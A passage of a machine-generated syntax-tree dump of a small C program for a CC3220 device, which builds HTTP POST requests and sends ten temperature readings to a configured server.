"text": "strcat", "parent": 713, "children": [], "start_point": {"row": 145, "column": 1}, "end_point": {"row": 145, "column": 7}}, {"id": 715, "type": "argument_list", "text": "(buffer, \"User-Agent: CC3220\\r\\n\"\n\t\t\t\t\t\"Accept: */*\\r\\n\"\n\t \"Content-Type: application/x-www-form-urlencoded\\r\\n\")", "parent": 713, "children": [716, 717], "start_point": {"row": 145, "column": 7}, "end_point": {"row": 147, "column": 70}}, {"id": 716, "type": "identifier", "text": "buffer", "parent": 715, "children": [], "start_point": {"row": 145, "column": 8}, "end_point": {"row": 145, "column": 14}}, {"id": 717, "type": "concatenated_string", "text": "\"User-Agent: CC3220\\r\\n\"\n\t\t\t\t\t\"Accept: */*\\r\\n\"\n\t \"Content-Type: application/x-www-form-urlencoded\\r\\n\"", "parent": 715, "children": [718, 721, 724], "start_point": {"row": 145, "column": 16}, "end_point": {"row": 147, "column": 69}}, {"id": 718, "type": "string_literal", "text": "\"User-Agent: CC3220\\r\\n\"", "parent": 717, "children": [719, 720], "start_point": {"row": 145, "column": 16}, "end_point": {"row": 145, "column": 40}}, {"id": 719, "type": "escape_sequence", "text": "\\r", "parent": 718, "children": [], "start_point": {"row": 145, "column": 35}, "end_point": {"row": 145, "column": 37}}, {"id": 720, "type": "escape_sequence", "text": "\\n", "parent": 718, "children": [], "start_point": {"row": 145, "column": 37}, "end_point": {"row": 145, "column": 39}}, {"id": 721, "type": "string_literal", "text": "\"Accept: */*\\r\\n\"", "parent": 717, "children": [722, 723], "start_point": {"row": 146, "column": 5}, "end_point": {"row": 146, "column": 22}}, {"id": 722, "type": "escape_sequence", "text": "\\r", "parent": 721, "children": [], "start_point": {"row": 146, "column": 17}, "end_point": {"row": 146, "column": 19}}, {"id": 723, "type": "escape_sequence", "text": "\\n", "parent": 721, "children": [], "start_point": {"row": 146, "column": 19}, "end_point": {"row": 146, "column": 21}}, {"id": 724, "type": "string_literal", "text": "\"Content-Type: application/x-www-form-urlencoded\\r\\n\"", "parent": 717, "children": [725, 726], "start_point": {"row": 147, "column": 16}, "end_point": {"row": 147, "column": 69}}, {"id": 725, "type": "escape_sequence", "text": "\\r", "parent": 724, "children": [], "start_point": {"row": 147, "column": 64}, "end_point": {"row": 147, "column": 66}}, {"id": 726, "type": "escape_sequence", "text": "\\n", "parent": 724, "children": [], "start_point": {"row": 147, "column": 66}, "end_point": {"row": 147, "column": 68}}, {"id": 727, "type": "call_expression", "text": "sprintf(line, \"Content-Length: %d\\r\\n\", sprintf(line, \"temp=%d\", temp))", "parent": 657, "children": [728, 729], "start_point": {"row": 148, "column": 1}, "end_point": {"row": 148, "column": 72}}, {"id": 728, "type": "identifier", "text": "sprintf", "parent": 727, "children": [], "start_point": {"row": 148, "column": 1}, "end_point": {"row": 148, "column": 8}}, {"id": 729, "type": "argument_list", "text": "(line, \"Content-Length: %d\\r\\n\", sprintf(line, \"temp=%d\", temp))", "parent": 727, "children": [730, 731, 734], "start_point": {"row": 148, "column": 8}, "end_point": {"row": 148, "column": 72}}, {"id": 730, "type": "identifier", "text": "line", "parent": 729, "children": [], "start_point": {"row": 148, "column": 9}, "end_point": {"row": 148, "column": 13}}, {"id": 731, "type": "string_literal", "text": "\"Content-Length: %d\\r\\n\"", "parent": 729, "children": [732, 733], "start_point": {"row": 148, "column": 15}, "end_point": {"row": 148, "column": 39}}, {"id": 732, "type": "escape_sequence", "text": "\\r", "parent": 731, "children": [], "start_point": {"row": 148, "column": 34}, "end_point": {"row": 148, "column": 36}}, {"id": 733, "type": "escape_sequence", "text": "\\n", "parent": 731, "children": [], "start_point": {"row": 148, "column": 36}, "end_point": {"row": 148, "column": 38}}, {"id": 734, "type": "call_expression", "text": "sprintf(line, \"temp=%d\", temp)", "parent": 729, "children": [735, 736], "start_point": {"row": 148, "column": 41}, "end_point": {"row": 148, "column": 71}}, {"id": 735, "type": "identifier", "text": "sprintf", "parent": 734, "children": [], "start_point": {"row": 148, "column": 41}, "end_point": {"row": 148, "column": 48}}, {"id": 736, "type": "argument_list", "text": "(line, \"temp=%d\", temp)", "parent": 734, "children": [737, 738, 739], "start_point": {"row": 148, "column": 48}, "end_point": {"row": 148, "column": 71}}, {"id": 737, "type": "identifier", "text": "line", "parent": 736, "children": [], "start_point": {"row": 148, "column": 49}, "end_point": {"row": 148, "column": 53}}, {"id": 738, "type": "string_literal", "text": "\"temp=%d\"", "parent": 736, "children": [], "start_point": {"row": 148, "column": 55}, "end_point": {"row": 148, "column": 64}}, {"id": 739, "type": "identifier", "text": "temp", "parent": 736, "children": [], "start_point": {"row": 148, "column": 66}, "end_point": {"row": 148, "column": 70}}, {"id": 740, "type": "call_expression", "text": "strcat(buffer, line)", "parent": 657, "children": [741, 742], "start_point": {"row": 149, "column": 1}, "end_point": {"row": 149, "column": 21}}, {"id": 741, "type": "identifier", "text": "strcat", "parent": 740, "children": [], "start_point": {"row": 149, "column": 1}, "end_point": {"row": 149, "column": 7}}, {"id": 742, "type": "argument_list", "text": "(buffer, line)", "parent": 740, "children": [743, 744], "start_point": {"row": 149, "column": 7}, "end_point": {"row": 149, "column": 21}}, {"id": 743, "type": "identifier", "text": "buffer", "parent": 742, "children": [], "start_point": {"row": 149, "column": 8}, "end_point": {"row": 149, "column": 14}}, {"id": 744, "type": "identifier", "text": "line", "parent": 742, "children": [], "start_point": {"row": 149, "column": 16}, "end_point": {"row": 149, "column": 20}}, {"id": 745, "type": "call_expression", "text": "strcat(buffer, \"\\r\\n\")", "parent": 657, "children": [746, 747], "start_point": {"row": 150, "column": 1}, "end_point": {"row": 150, "column": 23}}, {"id": 746, "type": "identifier", "text": "strcat", "parent": 745, "children": [], "start_point": {"row": 150, "column": 1}, "end_point": {"row": 150, "column": 7}}, {"id": 747, "type": "argument_list", "text": "(buffer, \"\\r\\n\")", "parent": 745, "children": [748, 749], "start_point": {"row": 150, "column": 7}, "end_point": {"row": 150, "column": 23}}, {"id": 748, "type": "identifier", "text": "buffer", "parent": 747, "children": [], "start_point": {"row": 150, "column": 8}, "end_point": {"row": 150, "column": 14}}, {"id": 749, "type": "string_literal", "text": "\"\\r\\n\"", "parent": 747, "children": [750, 751], "start_point": {"row": 150, "column": 16}, "end_point": {"row": 150, "column": 22}}, {"id": 750, "type": "escape_sequence", "text": "\\r", "parent": 749, "children": [], "start_point": {"row": 150, "column": 17}, "end_point": {"row": 150, "column": 19}}, {"id": 751, "type": "escape_sequence", "text": "\\n", "parent": 749, "children": [], "start_point": {"row": 150, "column": 19}, "end_point": {"row": 150, "column": 21}}, {"id": 752, "type": "call_expression", "text": "sprintf(line, \"temp=%d\", temp)", "parent": 657, "children": [753, 754], "start_point": {"row": 151, "column": 1}, "end_point": {"row": 151, "column": 31}}, {"id": 753, "type": "identifier", "text": "sprintf", "parent": 752, "children": [], "start_point": {"row": 151, "column": 1}, "end_point": {"row": 151, "column": 8}}, {"id": 754, "type": "argument_list", "text": "(line, \"temp=%d\", temp)", "parent": 752, "children": [755, 756, 757], "start_point": {"row": 151, "column": 8}, "end_point": {"row": 151, "column": 31}}, {"id": 755, "type": "identifier", "text": "line", "parent": 754, "children": [], "start_point": {"row": 151, "column": 9}, "end_point": {"row": 151, "column": 13}}, {"id": 756, "type": "string_literal", "text": "\"temp=%d\"", "parent": 754, "children": [], "start_point": {"row": 151, "column": 15}, "end_point": {"row": 151, "column": 24}}, {"id": 757, "type": "identifier", "text": "temp", "parent": 754, "children": [], "start_point": {"row": 151, "column": 26}, "end_point": {"row": 151, "column": 30}}, {"id": 758, "type": "call_expression", "text": "strcat(buffer, line)", "parent": 657, "children": [759, 760], "start_point": {"row": 152, "column": 1}, "end_point": {"row": 152, "column": 21}}, {"id": 759, "type": "identifier", "text": "strcat", "parent": 758, "children": [], "start_point": {"row": 152, "column": 1}, "end_point": {"row": 152, "column": 7}}, {"id": 760, "type": "argument_list", "text": "(buffer, line)", "parent": 758, "children": [761, 762], "start_point": {"row": 152, "column": 7}, "end_point": {"row": 152, "column": 21}}, {"id": 761, "type": "identifier", "text": "buffer", "parent": 760, "children": [], "start_point": {"row": 152, "column": 8}, "end_point": {"row": 152, "column": 14}}, {"id": 762, "type": "identifier", "text": "line", "parent": 760, "children": [], "start_point": {"row": 152, "column": 16}, "end_point": {"row": 152, "column": 20}}, {"id": 763, "type": "return_statement", "text": "return strlen(buffer);", "parent": 657, "children": [764], "start_point": {"row": 154, "column": 1}, "end_point": {"row": 154, "column": 23}}, {"id": 764, "type": "call_expression", "text": "strlen(buffer)", "parent": 763, "children": [765, 766], "start_point": {"row": 154, "column": 8}, "end_point": {"row": 154, "column": 22}}, {"id": 765, "type": "identifier", "text": "strlen", "parent": 764, "children": [], "start_point": {"row": 154, "column": 8}, "end_point": {"row": 154, "column": 14}}, {"id": 766, "type": "argument_list", "text": "(buffer)", "parent": 764, "children": [767], "start_point": {"row": 154, "column": 14}, "end_point": {"row": 154, "column": 22}}, {"id": 767, "type": "identifier", "text": "buffer", "parent": 766, "children": [], "start_point": {"row": 154, "column": 15}, "end_point": {"row": 154, "column": 21}}, {"id": 768, "type": "function_definition", "text": "int main(int argc, char *argv[])\n{\n\tint sock;\n\n\twlan_init();\n\n\tprintf(\"connect to server...\\n\");\n\tsock = connect_to_server(HOST, PORT);\n\n\tfor (int i = 0; i < 10; i++) {\n\t\tint reqlen, temperature;\n\n\t\ttemperature = 15 + i; // 20 + 5*sin(M_PI*2/10*i);\n\n\t\treqlen = prepare_request(REQUEST, sizeof(REQUEST), HOST, PORT, \"/temp\", temperature);\n\n\t\tprintf(\"send request...\\n\");\n\t\tsend_request(sock, REQUEST, reqlen);\n\n\t\tprintf(\"recv response...\\n\");\n\t\trecv_response(sock, RESPONSE, sizeof(RESPONSE));\n\t\tprintf(\"RESPONSE: %s\\n\", RESPONSE);\n\n\t\tsleep(1);\n\t}\n\n\tclose(sock);\n\n\tprintf(\"done\\n\");\n\n\treturn 0;\n}", "parent": null, "children": [769, 770], "start_point": {"row": 157, "column": 0}, "end_point": {"row": 188, "column": 1}}, {"id": 769, "type": "primitive_type", "text": "int", "parent": 768, "children": [], "start_point": {"row": 157, "column": 0}, "end_point": {"row": 157, "column": 3}}, {"id": 770, "type": "function_declarator", "text": "main(int argc, char *argv[])", "parent": 768, "children": [771, 772], "start_point": {"row": 157, "column": 4}, "end_point": {"row": 157, "column": 32}}, {"id": 771, "type": "identifier", "text": "main", "parent": 770, "children": [], "start_point": {"row": 157, "column": 4}, "end_point": {"row": 157, "column": 8}}, {"id": 772, "type": "parameter_list", "text": "(int argc, char *argv[])", "parent": 770, "children": [773, 776], "start_point": {"row": 157, "column": 8}, "end_point": {"row": 157, "column": 32}}, {"id": 773, "type": "parameter_declaration", "text": "int argc", "parent": 772, "children": [774, 775], "start_point": {"row": 157, "column": 9}, "end_point": {"row": 157, "column": 17}}, {"id": 774, "type": "primitive_type", "text": "int", "parent": 773, "children": [], "start_point": {"row": 157, "column": 9}, "end_point": {"row": 157, "column": 12}}, {"id": 775, "type": "identifier", "text": "argc", "parent": 773, "children": [], "start_point": {"row": 157, "column": 13}, "end_point": {"row": 157, "column": 17}}, {"id": 776, "type": "parameter_declaration", "text": "char *argv[]", "parent": 772, "children": [777, 778], "start_point": {"row": 157, "column": 19}, "end_point": {"row": 157, "column": 31}}, {"id": 777, "type": "primitive_type", "text": "char", "parent": 776, "children": [], "start_point": {"row": 157, "column": 19}, "end_point": {"row": 157, "column": 23}}, {"id": 778, "type": "pointer_declarator", "text": "*argv[]", "parent": 776, "children": [779, 780], "start_point": {"row": 157, "column": 24}, "end_point": {"row": 157, "column": 31}}, {"id": 779, "type": "*", "text": "*", "parent": 778, "children": [], "start_point": {"row": 157, "column": 24}, "end_point": {"row": 157, "column": 25}}, {"id": 780, "type": "array_declarator", "text": "argv[]", "parent": 778, "children": [781], "start_point": {"row": 157, "column": 25}, "end_point": {"row": 157, "column": 31}}, {"id": 781, "type": "identifier", "text": "argv", "parent": 780, "children": [], "start_point": {"row": 157, "column": 25}, "end_point": {"row": 157, "column": 29}}, {"id": 782, "type": "declaration", "text": "int sock;", "parent": 768, "children": [783, 784], "start_point": {"row": 159, "column": 1}, "end_point": {"row": 159, "column": 10}}, {"id": 783, "type": "primitive_type", "text": "int", "parent": 782, "children": [], "start_point": {"row": 159, "column": 1}, "end_point": {"row": 159, "column": 4}}, {"id": 784, "type": "identifier", "text": "sock", "parent": 782, "children": [], "start_point": {"row": 159, "column": 5}, "end_point": {"row": 159, "column": 9}}, {"id": 785, "type": "call_expression", "text": "wlan_init()", "parent": 768, "children": [786, 787], "start_point": {"row": 161, "column": 1}, "end_point": {"row": 161, "column": 12}}, {"id": 786, "type": "identifier", "text": "wlan_init", "parent": 785, "children": [], "start_point": {"row": 161, "column": 1}, "end_point": {"row": 161, "column": 10}}, {"id": 787, "type": "argument_list", "text": "()", "parent": 785, "children": [], "start_point": {"row": 161, "column": 10}, "end_point": {"row": 161, "column": 12}}, {"id": 788, "type": "call_expression", "text": "printf(\"connect to server...\\n\")", "parent": 768, "children": [789, 790], "start_point": {"row": 163, "column": 1}, "end_point": {"row": 163, "column": 33}}, {"id": 789, "type": "identifier", "text": "printf", "parent": 788, "children": [], "start_point": {"row": 163, "column": 1}, "end_point": {"row": 163, "column": 7}}, {"id": 790, "type": "argument_list", "text": "(\"connect to server...\\n\")", "parent": 788, "children": [791], "start_point": {"row": 163, "column": 7}, "end_point": {"row": 163, "column": 33}}, {"id": 791, "type": "string_literal", "text": "\"connect to server...\\n\"", "parent": 790, "children": [792], "start_point": {"row": 163, "column": 8}, "end_point": {"row": 163, "column": 32}}, {"id": 792, "type": "escape_sequence", "text": "\\n", "parent": 791, "children": [], "start_point": {"row": 163, "column": 29}, "end_point": {"row": 163, "column": 31}}, {"id": 793, "type": "assignment_expression", "text": "sock = connect_to_server(HOST, PORT)", "parent": 768, "children": [794, 795, 796], "start_point": {"row": 164, "column": 1}, "end_point": {"row": 164, "column": 37}}, {"id": 794, "type": "identifier", "text": "sock", "parent": 793, "children": [], "start_point": {"row": 164, "column": 1}, "end_point": {"row": 164, "column": 5}}, {"id": 795, "type": "=", "text": "=", "parent": 793, "children": [], "start_point": {"row": 164, "column": 6}, "end_point": {"row": 164, "column": 7}}, {"id": 796, "type": "call_expression", "text": "connect_to_server(HOST, PORT)", "parent": 793, "children": [797, 798], "start_point": {"row": 164, "column": 8}, "end_point": {"row": 164, "column": 37}}, {"id": 797, "type": "identifier", "text": "connect_to_server", "parent": 796, "children": [], "start_point": {"row": 164, "column": 8}, "end_point": {"row": 164, "column": 25}}, {"id": 798, "type": "argument_list", "text": "(HOST, PORT)", "parent": 796, "children": [799, 800], "start_point": {"row": 164, "column": 25}, "end_point": {"row": 164, "column": 37}}, {"id": 799, "type": "identifier", "text": "HOST", "parent": 798, "children": [], "start_point": {"row": 164, "column": 26}, "end_point": {"row": 164, "column": 30}}, {"id": 800, "type": "identifier", "text": "PORT", "parent": 798, "children": [], "start_point": {"row": 164, "column": 32}, "end_point": {"row": 164, "column": 36}}, {"id": 801, "type": "for_statement", "text": "for (int i = 0; i < 10; i++) {\n\t\tint reqlen, temperature;\n\n\t\ttemperature = 15 + i; // 20 + 5*sin(M_PI*2/10*i);\n\n\t\treqlen = prepare_request(REQUEST, sizeof(REQUEST), HOST, PORT, \"/temp\", temperature);\n\n\t\tprintf(\"send request...\\n\");\n\t\tsend_request(sock, REQUEST, reqlen);\n\n\t\tprintf(\"recv response...\\n\");\n\t\trecv_response(sock, RESPONSE, sizeof(RESPONSE));\n\t\tprintf(\"RESPONSE: %s\\n\", RESPONSE);\n\n\t\tsleep(1);\n\t}", "parent": 768, "children": [802, 808, 812], "start_point": {"row": 166, "column": 1}, "end_point": {"row": 181, "column": 2}}, {"id": 802, "type": "declaration", "text": "int i = 0;", "parent": 801, "children": [803, 804], "start_point": {"row": 166, "column": 6}, "end_point": {"row": 166, "column": 16}}, {"id": 803, "type": "primitive_type", "text": "int", "parent": 802, "children": [], "start_point": {"row": 166, "column": 6}, "end_point": {"row": 166, "column": 9}}, {"id": 804, "type": "init_declarator", "text": "i = 0", "parent": 802, "children": [805, 806, 807], "start_point": {"row": 166, "column": 10}, "end_point": {"row": 166, "column": 15}}, {"id": 805, "type": "identifier", "text": "i", "parent": 804, "children": [], "start_point": {"row": 166, "column": 10}, "end_point": {"row": 166, "column": 11}}, {"id": 806, "type": "=", "text": "=", "parent": 804, "children": [], "start_point": {"row": 166, "column": 12}, "end_point": {"row": 166, "column": 13}}, {"id": 807, "type": "number_literal", "text": "0", "parent": 804, "children": [], "start_point": {"row": 166, "column": 14}, "end_point": {"row": 166, "column": 15}}, {"id": 808, "type": "binary_expression", "text": "i < 10", "parent": 801, "children": [809, 810, 811], "start_point": {"row": 166, "column": 17}, "end_point": {"row": 166, "column": 23}}, {"id": 809, "type": "identifier", "text": "i", "parent": 808, "children": [], "start_point": {"row": 166, "column": 17}, "end_point": {"row": 166, "column": 18}}, {"id": 810, "type": "<", "text": "<", "parent": 808, "children": [], "start_point": {"row": 166, "column": 19}, "end_point": {"row": 166, "column": 20}}, {"id": 811, "type": "number_literal", "text": "10", "parent": 808, "children": [], "start_point": {"row": 166, "column": 21}, "end_point": {"row": 166, "column": 23}}, {"id": 812, "type": "update_expression", "text": "i++", "parent": 801, "children": [813, 814], "start_point": {"row": 166, "column": 25}, "end_point": {"row": 166, "column": 28}}, {"id": 813, "type": "identifier", "text": "i", "parent": 812, "children": [], "start_point": {"row": 166, "column": 25}, "end_point": {"row": 166, "column": 26}}, {"id": 814, "type": "++", "text": "++", "parent": 812, "children": [], "start_point": {"row": 166, "column": 26}, "end_point": {"row": 166, "column": 28}}, {"id": 815, "type": "declaration", "text": "int reqlen, temperature;", "parent": 801, "children": [816, 817, 818], "start_point": {"row": 167, "column": 2}, "end_point": {"row": 167, "column": 26}}, {"id": 816, "type": "primitive_type", "text": "int", "parent": 815, "children": [], "start_point": {"row": 167, "column": 2}, "end_point": {"row": 167, "column": 5}}, {"id": 817, "type": "identifier", "text": "reqlen", "parent": 815, "children": [], "start_point": {"row": 167, "column": 6}, "end_point": {"row": 167, "column": 12}}, {"id": 818, "type": "identifier", "text": "temperature", "parent": 815, "children": [], "start_point": {"row": 167, "column": 14}, "end_point": {"row": 167, "column": 25}}, {"id": 819, "type": "assignment_expression", "text": "temperature = 15 + i", "parent": 801, "children": [820, 821, 822], "start_point": {"row": 169, "column": 2}, "end_point": {"row": 169, "column": 22}}, {"id": 820, "type": "identifier", "text": "temperature", "parent": 819, "children": [], "start_point": {"row": 169, "column": 2}, "end_point": {"row": 169, "column": 13}}, {"id": 821, "type": "=", "text": "=", "parent": 819, "children": [], "start_point": {"row": 169, "column": 14}, "end_point": {"row": 169, "column": 15}}, {"id": 822, "type": "binary_expression", "text": "15 + i", "parent": 819, "children": [823, 824, 825], "start_point": {"row": 169, "column": 16}, "end_point": {"row": 169, "column": 22}}, {"id": 823, "type": "number_literal", "text": "15", "parent": 822, "children": [], "start_point": {"row": 169, "column": 16}, "end_point": {"row": 169, "column": 18}}, {"id": 824, "type": "+", "text": "+", "parent": 822, "children": [], "start_point": {"row": 169, "column": 19}, "end_point": {"row": 169, "column": 20}}, {"id": 825, "type": "identifier", "text": "i", "parent": 822, "children": [], "start_point": {"row": 169, "column": 21}, "end_point": {"row": 169, "column": 22}}, {"id": 826, "type": "assignment_expression", "text": "reqlen = prepare_request(REQUEST, sizeof(REQUEST), HOST, PORT, \"/temp\", temperature)", "parent": 801, "children": [827, 828, 829], "start_point": {"row": 171, "column": 2}, "end_point": {"row": 171, "column": 86}}, {"id": 827, "type": "identifier", "text": "reqlen", "parent": 826, "children": [], "start_point": {"row": 171, "column": 2}, "end_point": {"row": 171, "column": 8}}, {"id": 828, "type": "=", "text": "=", "parent": 826, "children": [], "start_point": {"row": 171, "column": 9}, "end_point": {"row": 171, "column": 10}}, {"id": 829, "type": "call_expression", "text": "prepare_request(REQUEST, sizeof(REQUEST), HOST, PORT, \"/temp\", temperature)", "parent": 826, "children": [830, 831], "start_point": {"row": 171, "column": 11}, "end_point": {"row": 171, "column": 86}}, {"id": 830, "type": "identifier", "text": "prepare_request", "parent": 829, "children": [], "start_point": {"row": 171, "column": 11}, "end_point": {"row": 171, "column": 26}}, {"id": 831, "type": "argument_list", "text": "(REQUEST, sizeof(REQUEST), HOST, PORT, \"/temp\", temperature)", "parent": 829, "children": [832, 833, 836, 837, 838, 839], "start_point": {"row": 171, "column": 26}, "end_point": {"row": 171, "column": 86}}, {"id": 832, "type": "identifier", "text": "REQUEST", "parent": 831, "children": [], "start_point": {"row": 171, "column": 27}, "end_point": {"row": 171, "column": 34}}, {"id": 833, "type": "sizeof_expression", "text": "sizeof(REQUEST)", "parent": 831, "children": [834], "start_point": {"row": 171, "column": 36}, "end_point": {"row": 171, "column": 51}}, {"id": 834, "type": "parenthesized_expression", "text": "(REQUEST)", "parent": 833, "children": [835], "start_point": {"row": 171, "column": 42}, "end_point": {"row": 171, "column": 51}}, {"id": 835, "type": "identifier", "text": "REQUEST", "parent": 834, "children": [], "start_point": {"row": 171, "column": 43}, "end_point": {"row": 171, "column": 50}}, {"id": 836, "type": "identifier", "text": "HOST", "parent": 831, "children": [], "start_point": {"row": 171, "column": 53}, "end_point": {"row": 171, "column": 57}}, {"id": 837, "type": "identifier", "text": "PORT", "parent": 831, "children": [], "start_point": {"row": 171, "column": 59}, "end_point": {"row": 171, "column": 63}}, {"id": 838, "type": "string_literal", "text": "\"/temp\"", "parent": 831, "children": [], "start_point": {"row": 171, "column": 65}, "end_point": {"row": 171, "column": 72}}, {"id": 839, "type": "identifier", "text": "temperature", "parent": 831, "children": [], "start_point": {"row": 171, "column": 74}, "end_point": {"row": 171, "column": 85}}, {"id": 840, "type": "call_expression", "text": "printf(\"send request...\\n\")", "parent": 801, "children": [841, 842], "start_point": {"row": 173, "column": 2}, "end_point": {"row": 173, "column": 29}}, {"id": 841, "type": "identifier", "text": "printf", "parent": 840, "children": [], "start_point": {"row": 173, "column": 2}, "end_point": {"row": 173, "column": 8}}, {"id": 842, "type": "argument_list", "text": "(\"send request...\\n\")", "parent": 840, "children": [843], "start_point": {"row": 173, "column": 8}, "end_point": {"row": 173, "column": 29}}, {"id": 843, "type": "string_literal", "text": "\"send request...\\n\"", "parent": 842, "children": [844], "start_point": {"row": 173, "column": 9}, "end_point": {"row": 173, "column": 28}}, {"id": 844, "type": "escape_sequence", "text": "\\n", "parent": 843, "children": [], "start_point": {"row": 173, "column": 25}, "end_point": {"row": 173, "column": 27}}, {"id": 845, "type": "call_expression", "text": "send_request(sock, REQUEST, reqlen)", "parent": 801, "children": [846, 847], "start_point": {"row": 174, "column": 2}, "end_point": {"row": 174, "column": 37}}, {"id": 846, "type": "identifier", "text": "send_request", "parent": 845, "children": [], "start_point": {"row": 174, "column": 2}, "end_point": {"row": 174, "column": 14}}, {"id": 847, "type": "argument_list", "text": "(sock, REQUEST, reqlen)", "parent": 845, "children": [848, 849, 850], "start_point": {"row": 174, "column": 14}, "end_point": {"row": 174, "column": 37}}, {"id": 848, "type": "identifier", "text": "sock", "parent": 847, "children": [], "start_point": {"row": 174, "column": 15}, "end_point": {"row": 174, "column": 19}}, {"id": 849, "type": "identifier", "text": "REQUEST", "parent": 847, "children": [], "start_point": {"row": 174, "column": 21}, "end_point": {"row": 174, "column": 28}}, {"id": 850, "type": "identifier", "text": "reqlen", "parent": 847, "children": [], "start_point": {"row": 174, "column": 30}, "end_point": {"row": 174, "column": 36}}, {"id": 851, "type": "call_expression", "text": "printf(\"recv response...\\n\")", "parent": 801, "children": [852, 853], "start_point": {"row": 176, "column": 2}, "end_point": {"row": 176, "column": 30}}, {"id": 852, "type": "identifier", "text": "printf", "parent": 851, "children": [], "start_point": {"row": 176, "column": 2}, "end_point": {"row": 176, "column": 8}}, {"id": 853, "type": "argument_list", "text": "(\"recv response...\\n\")", "parent": 851, "children": [854], "start_point": {"row": 176, "column": 8}, "end_point": {"row": 176, "column": 30}}, {"id": 854, "type": "string_literal", "text": "\"recv response...\\n\"", "parent": 853, "children": [855], "start_point": {"row": 176, "column": 9}, "end_point": {"row": 176, "column": 29}}, {"id": 855, "type": "escape_sequence", "text": "\\n", "parent": 854, "children": [], "start_point": {"row": 176, "column": 26}, "end_point": {"row": 176, "column": 28}}, {"id": 856, "type": "call_expression", "text": "recv_response(sock, RESPONSE, sizeof(RESPONSE))", "parent": 801, "children": [857, 858], "start_point": {"row": 177, "column": 2}, "end_point": {"row": 177, "column": 49}}, {"id": 857, "type": "identifier", "text": "recv_response", "parent": 856, "children": [], "start_point": {"row": 177, "column": 2}, "end_point": {"row": 177, "column": 15}}, {"id": 858, "type": "argument_list", "text": "(sock, RESPONSE, sizeof(RESPONSE))", "parent": 856, "children": [859, 860, 861], "start_point": {"row": 177, "column": 15}, "end_point": {"row": 177, "column": 49}}, {"id": 859, "type": "identifier", "text": "sock", "parent": 858, "children": [], "start_point": {"row": 177, "column": 16}, "end_point": {"row": 177, "column": 20}}, {"id": 860, "type": "identifier", "text": "RESPONSE", "parent": 858, "children": [], "start_point": {"row": 177, "column": 22}, "end_point": {"row": 177, "column": 30}}, {"id": 861, "type": "sizeof_expression", "text": "sizeof(RESPONSE)", "parent": 858, "children": [862], "start_point": {"row": 177, "column": 32}, "end_point": {"row": 177, "column": 48}}, {"id": 862, "type": "parenthesized_expression", "text": "(RESPONSE)", "parent": 861, "children": [863], "start_point": {"row": 177, "column": 38}, "end_point": {"row": 177, "column": 48}}, {"id": 863, "type": "identifier", "text": "RESPONSE", "parent": 862, "children": [], "start_point": {"row": 177, "column": 39}, "end_point": {"row": 177, "column": 47}}, {"id": 864, "type": "call_expression", "text": "printf(\"RESPONSE: %s\\n\", RESPONSE)", "parent": 801, "children": [865, 866], "start_point": {"row": 178, "column": 2}, "end_point": {"row": 178, "column": 36}}, {"id": 865, "type": "identifier", "text": "printf", "parent": 864, "children": [], "start_point": {"row": 178, "column": 2}, "end_point": {"row": 178, "column": 8}}, {"id": 866, "type": "argument_list", "text": "(\"RESPONSE: %s\\n\", RESPONSE)", "parent": 864, "children": [867, 869], "start_point": {"row": 178, "column": 8}, "end_point": {"row": 178, "column": 36}}, {"id": 867, "type": "string_literal", "text": "\"RESPONSE: %s\\n\"", "parent": 866, "children": [868], "start_point": {"row": 178, "column": 9}, "end_point": {"row": 178, "column": 25}}, {"id": 868, "type": "escape_sequence", "text": "\\n", "parent": 867, "children": [], "start_point": {"row": 178, "column": 22}, "end_point": {"row": 178, "column": 24}}, {"id": 869, "type": "identifier", "text": "RESPONSE", "parent": 866, "children": [], "start_point": {"row": 178, "column": 27}, "end_point": {"row": 178, "column": 35}}, {"id": 870, "type": "call_expression", "text": "sleep(1)", "parent": 801, "children": [871, 872], "start_point": {"row": 180, "column": 2}, "end_point": {"row": 180, "column": 10}}, {"id": 871, "type": "identifier", "text": "sleep", "parent": 870, "children": [], "start_point": {"row": 180, "column": 2}, "end_point": {"row": 180, "column": 7}}, {"id": 872, "type": "argument_list", "text": "(1)", "parent": 870, "children": [873], "start_point": {"row": 180, "column": 7}, "end_point": {"row": 180, "column": 10}}, {"id": 873, "type": "number_literal", "text": "1", "parent": 872, "children": [], "start_point": {"row": 180, "column": 8}, "end_point": {"row": 180, "column": 9}}, {"id": 874, "type": "call_expression", "text": "close(sock)", "parent": 768, "children": [875, 876], "start_point": {"row": 183, "column": 1}, "end_point": {"row": 183, "column": 12}}, {"id": 875, "type": "identifier", "text": "close", "parent": 874, "children": [], "start_point": {"row": 183, "column": 1}, "end_point": {"row": 183, "column": 6}}, {"id": 876, "type": "argument_list", "text": "(sock)", "parent": 874, "children": [877], "start_point": {"row": 183, "column": 6}, "end_point": {"row": 183, "column": 12}}, {"id": 877, "type": "identifier", "text": "sock", "parent": 876, "children": [], "start_point": {"row": 183, "column": 7}, "end_point": {"row": 183, "column": 11}}, {"id": 878, "type": "call_expression", "text": "printf(\"done\\n\")", "parent": 768, "children": [879, 880], "start_point": {"row": 185, "column": 1}, "end_point": {"row": 185, "column": 17}}, {"id": 879, "type": "identifier", "text": "printf", "parent": 878, "children": [], "start_point": {"row": 185, "column": 1}, "end_point": {"row": 185, "column": 7}}, {"id": 880, "type": "argument_list", "text": "(\"done\\n\")", "parent": 878, "children": [881], "start_point": {"row": 185, "column": 7}, "end_point": {"row": 185, "column": 17}}, {"id": 881, "type": "string_literal", "text": "\"done\\n\"", "parent": 880, "children": [882], "start_point": {"row": 185, "column": 8}, "end_point": {"row": 185, "column": 16}}, {"id": 882, "type": "escape_sequence", "text": "\\n", "parent": 881, "children": [], "start_point": {"row": 185, "column": 13}, "end_point": {"row": 185, "column": 15}}, {"id": 883, "type": "return_statement", "text": "return 0;", "parent": 768, "children": [884], "start_point": {"row": 187, "column": 1}, "end_point": {"row": 187, "column": 10}}, {"id": 884, "type": "number_literal", "text": "0", "parent": 883, "children": [], "start_point": {"row": 187, "column": 8}, "end_point": {"row": 187, "column": 9}}]}, "node_categories": {"declarations": {"functions": [29, 35, 116, 118, 216, 218, 285, 292, 294, 300, 302, 413, 415, 469, 471, 657, 659, 768, 770], "variables": [76, 86, 98, 106, 111, 121, 126, 165, 221, 226, 229, 232, 283, 288, 297, 305, 310, 313, 317, 322, 418, 421, 426, 429, 474, 477, 482, 485, 490, 494, 662, 667, 670, 675, 678, 683, 686, 773, 776, 782, 802, 815], "classes": [166, 167, 201, 202, 318, 319, 391, 392], "imports": [3, 4, 6, 7, 9, 10, 12, 13, 15, 16, 18, 19, 43, 44, 46, 47, 49, 50, 52, 53, 55, 56, 58, 59, 61, 62, 64, 65], "modules": [], "enums": []}, "statements": {"expressions": [135, 138, 144, 148, 153, 